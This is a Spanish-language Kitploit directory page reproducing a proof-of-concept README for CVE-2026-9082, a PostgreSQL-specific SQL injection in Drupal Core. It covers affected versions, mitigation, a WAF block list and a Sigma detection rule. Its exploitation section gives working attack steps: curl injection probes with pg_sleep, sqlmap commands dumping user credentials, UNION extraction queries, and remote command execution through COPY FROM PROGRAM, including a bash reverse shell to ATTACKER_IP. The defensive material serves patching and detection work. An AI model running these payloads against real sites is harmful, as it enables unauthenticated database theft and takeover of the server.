Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
cve-2026-9082 — PoC de CVE | Kitploit
Herramientas/GitHubGitHub/lysophavin18/cve-2026-9082
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y EducaciónSeguridad de Bases de Datos
GitHublysophavin18/cve-2026-9082

cve-2026-9082

PoC de CVE

Ver Repositorio
hace 3 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-9082

Tipo: Inyección SQL (CWE-89) Producto afectado: Drupal Core (API de abstracción de base de datos) Aviso de Drupal: SA-CORE-2026-004 Publicado: 20 de mayo de 2026 Gravedad: Altamente crítica (Drupal 20/25 | NVD CVSS 6.5)


¿Qué es?

CVE-2026-9082 es una vulnerabilidad de inyección SQL en la API de abstracción de base de datos del núcleo de Drupal. La capa de base de datos de Drupal envuelve PDO y sanitiza todas las consultas antes de que lleguen a la base de datos. Esta vulnerabilidad omite esa sanitización solo para backends de PostgreSQL: las solicitudes HTTP especialmente manipuladas se cuelan a través de la lógica de normalización, inyectando fragmentos SQL controlados por el atacante directamente en las consultas de la base de datos.

MySQL y MariaDB no se ven afectados por el vector de inyección, aunque la versión del parche también incluye correcciones críticas de Symfony/Twig que se aplican a todos los backends.


Versiones afectadas

RamaVulnerableParcheada
Drupal 10.4.x / 8.9.x8.9.0–10.4.910.4.10
Drupal 10.5.x10.5.0–10.5.910.5.10
Drupal 10.6.x10.6.0–10.6.810.6.9
Drupal 11.0.x–11.1.x11.0.0–11.1.911.1.10
Drupal 11.2.x11.2.0–11.2.1111.2.12
Drupal 11.3.x11.3.0–11.3.911.3.10

Requisito previo: El objetivo debe usar PostgreSQL como backend de su base de datos.


Cómo funciona (técnico)

La capa de abstracción de base de datos de Drupal sanitiza los valores mediante consultas parametrizadas/sentencias preparadas, pero depende del generador de consultas para proporcionar SQL estructural confiable (nombres de campos, operadores, destinos ORDER BY). El fallo está en cómo el controlador de PostgreSQL maneja ciertos patrones de entrada al construir consultas: el dialecto SQL de PostgreSQL difiere de MySQL en aspectos clave:

  • Concatenación de cadenas con ||
  • Conversión de tipos con ::
  • Comillas de dólar (dollar-quoting)
  • Comando COPY ... FROM PROGRAM
  • Manejo diferente de operadores

Una solicitud manipulada introduce caracteres/secuencias que superan la sanitización a nivel de valores de Drupal, pero que el analizador de PostgreSQL interpreta como SQL estructural. La superficie de ataque es alcanzable sin autenticación a través de cualquier endpoint que pase parámetros controlados por el usuario a las consultas de la base de datos (búsqueda, filtros de vista, envíos de formularios, JSON:API, etc.).

Cadena de explotación

root@kitploit:~
Attacker (unauthenticated)
  |
  |--> HTTP request with crafted parameter
  |    (e.g. search field, filter, form input)
  |
  v
Drupal DB Abstraction API
  |
  |--> Sanitization bypass (PostgreSQL-specific)
  |
  v
PostgreSQL executes injected SQL
  |
  |--> Information disclosure (dump entire DB)
  |--> Privilege escalation (inject admin credentials)
  |--> RCE (PostgreSQL COPY TO PROGRAM, lo_export, etc.)

Por qué es peligroso

  1. No se requiere autenticación: cualquier sitio Drupal expuesto a internet que use PostgreSQL está expuesto
  2. Potencial de RCE: mediante COPY TO PROGRAM 'cmd' si el usuario de la base de datos tiene privilegios de superusuario
  3. Acceso completo a la base de datos: cuentas de usuario, hashes de contraseñas, tokens de sesión, PII
  4. Amplio rango de versiones: todo el ciclo de vida de Drupal 8/10/11
  5. Riesgo compuesto: el mismo parche cubre Twig SSTI; el atacante puede encadenar SQLi → creación de administrador → SSTI para RCE

La advertencia del propio Drupal: "los exploits podrían desarrollarse en cuestión de horas o días después de la divulgación" (coherente con CVEs históricos de la capa de base de datos de Drupal como SA-CORE-2014-005 / Drupalgeddon).


Prueba de concepto (solo para pruebas de laboratorio autorizadas)

Paso 1: Identificar endpoints candidatos

root@kitploit:~
# Endpoints that pass user input through DB abstraction layer
curl -s "https://target.drupal.site/search/node?keys=test"
curl -s "https://target.drupal.site/views/ajax"
curl -s "https://target.drupal.site/jsonapi/node/article"

Paso 2: Detectar inyección específica de PostgreSQL

root@kitploit:~
# Time-based (pg_sleep is PostgreSQL-only)
curl -s "https://target.drupal.site/search/node?keys=test%27%3Bselect+pg_sleep(5)--"

# Cast-based probe (:: is PostgreSQL syntax)
curl -s "https://target.drupal.site/search/node?keys=1::integer"

# Boolean-based differentiation
curl -s "https://target.drupal.site/search/node?keys=test'AND+'1'='1"
curl -s "https://target.drupal.site/search/node?keys=test'AND+'1'='2"

Paso 3: Extracción automatizada (sqlmap, pruebas autorizadas)

root@kitploit:~
sqlmap -u "https://target.drupal.site/search/node?keys=test" \
  --dbms=PostgreSQL \
  --level=5 --risk=3 \
  --technique=BEUST \
  --tamper=space2comment,between \
  --dbs

# Dump credentials after confirming injection
sqlmap -u "https://target.drupal.site/search/node?keys=test" \
  --dbms=PostgreSQL \
  -D drupal -T users_field_data \
  -C name,mail,pass --dump

Paso 4: Extracción manual basada en UNION (conceptual)

root@kitploit:~
-- Fingerprint column count
test' ORDER BY 1--
test' ORDER BY 2--  -- increment until error

-- Extract credentials (PostgreSQL syntax)
test' UNION SELECT null,username,password FROM users_field_data--

-- Check if DB user is superuser
test' UNION SELECT null,current_user,null--
test' UNION SELECT null,usesuper::text,null FROM pg_user WHERE usename=current_user--

Paso 5: RCE mediante COPY TO PROGRAM (si el usuario de la base de datos es superusuario)

root@kitploit:~
CREATE TABLE cmd_out(output TEXT);
COPY cmd_out FROM PROGRAM 'id; uname -a';
SELECT * FROM cmd_out;

-- Reverse shell (replace ATTACKER_IP/PORT)
COPY cmd_out FROM PROGRAM 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"';

Mitigación

Inmediato: parchear Drupal

root@kitploit:~
# Composer (recommended)
composer update drupal/core drupal/core-recommended

# Verify version
php core/scripts/drupal --version

# OR via Drush
drush updb && drush cr

Endurecimiento de la base de datos

root@kitploit:~
-- Verify application DB user is NOT superuser
SELECT usename, usesuper FROM pg_user WHERE usename = 'drupal_app_user';
-- Should return usesuper = false

WAF (solo solución temporal; no sustituye al parche)

Bloquear patrones: pg_sleep, COPY.*PROGRAM, ::text, ::integer, UNION.*SELECT, %27--

Red

Asegúrese de que PostgreSQL solo se vincule a localhost o a una interfaz privada; no debe ser accesible desde internet.


Señales de detección

Regla Sigma (detección)

root@kitploit:~
title: Drupal CVE-2026-9082 SQL Injection Attempt
logsource:
  category: webserver
detection:
  selection:
    cs-uri-query|contains:
      - "pg_sleep"
      - "UNION+SELECT"
      - "::text"
      - "::integer"
      - "COPY+TO"
      - "%27--"
  filter:
    cs-uri-stem|contains:
      - "/search/"
      - "/views/ajax"
      - "/jsonapi/"
  condition: selection and filter
level: high
tags: [attack.t1190, cve.2026.9082]

Resumen

CVE-2026-9082 es una inyección SQL sin autenticación en Drupal Core dirigida a backends de PostgreSQL. A pesar de un CVSS moderado de 6.5 en NVD, Drupal la califica como 20/25 (Altamente crítica) porque el acceso no autenticado + COPY TO PROGRAM de PostgreSQL = RCE directo en entornos mal configurados. El amplio rango de versiones afectadas y las correcciones incluidas para Twig SSTI hacen de este un parche crítico y urgente para todos los sitios Drupal, especialmente aquellos que usan PostgreSQL en implementaciones expuestas a internet.

Acción recomendada: Actualice inmediatamente a la versión parcheada correspondiente a su rama. Verifique que el usuario de aplicación de la base de datos no sea un superusuario de PostgreSQL.

Descargar herramienta
FuenteSeñal
Registros webpg_sleep, ::, UNION SELECT, --, COPY PROGRAM en cadenas de consulta
Registros de PostgreSQLErrores de sintaxis que se correlacionan con las marcas de tiempo de las solicitudes web
Drupal watchdogExcepciones de base de datos de endpoints de búsqueda/vista/jsonapi
auditdpostgres generando procesos hijos (COPY TO PROGRAM)
Tabla de usuarios de DrupalNuevas filas de rol administrator con marcas de tiempo recientes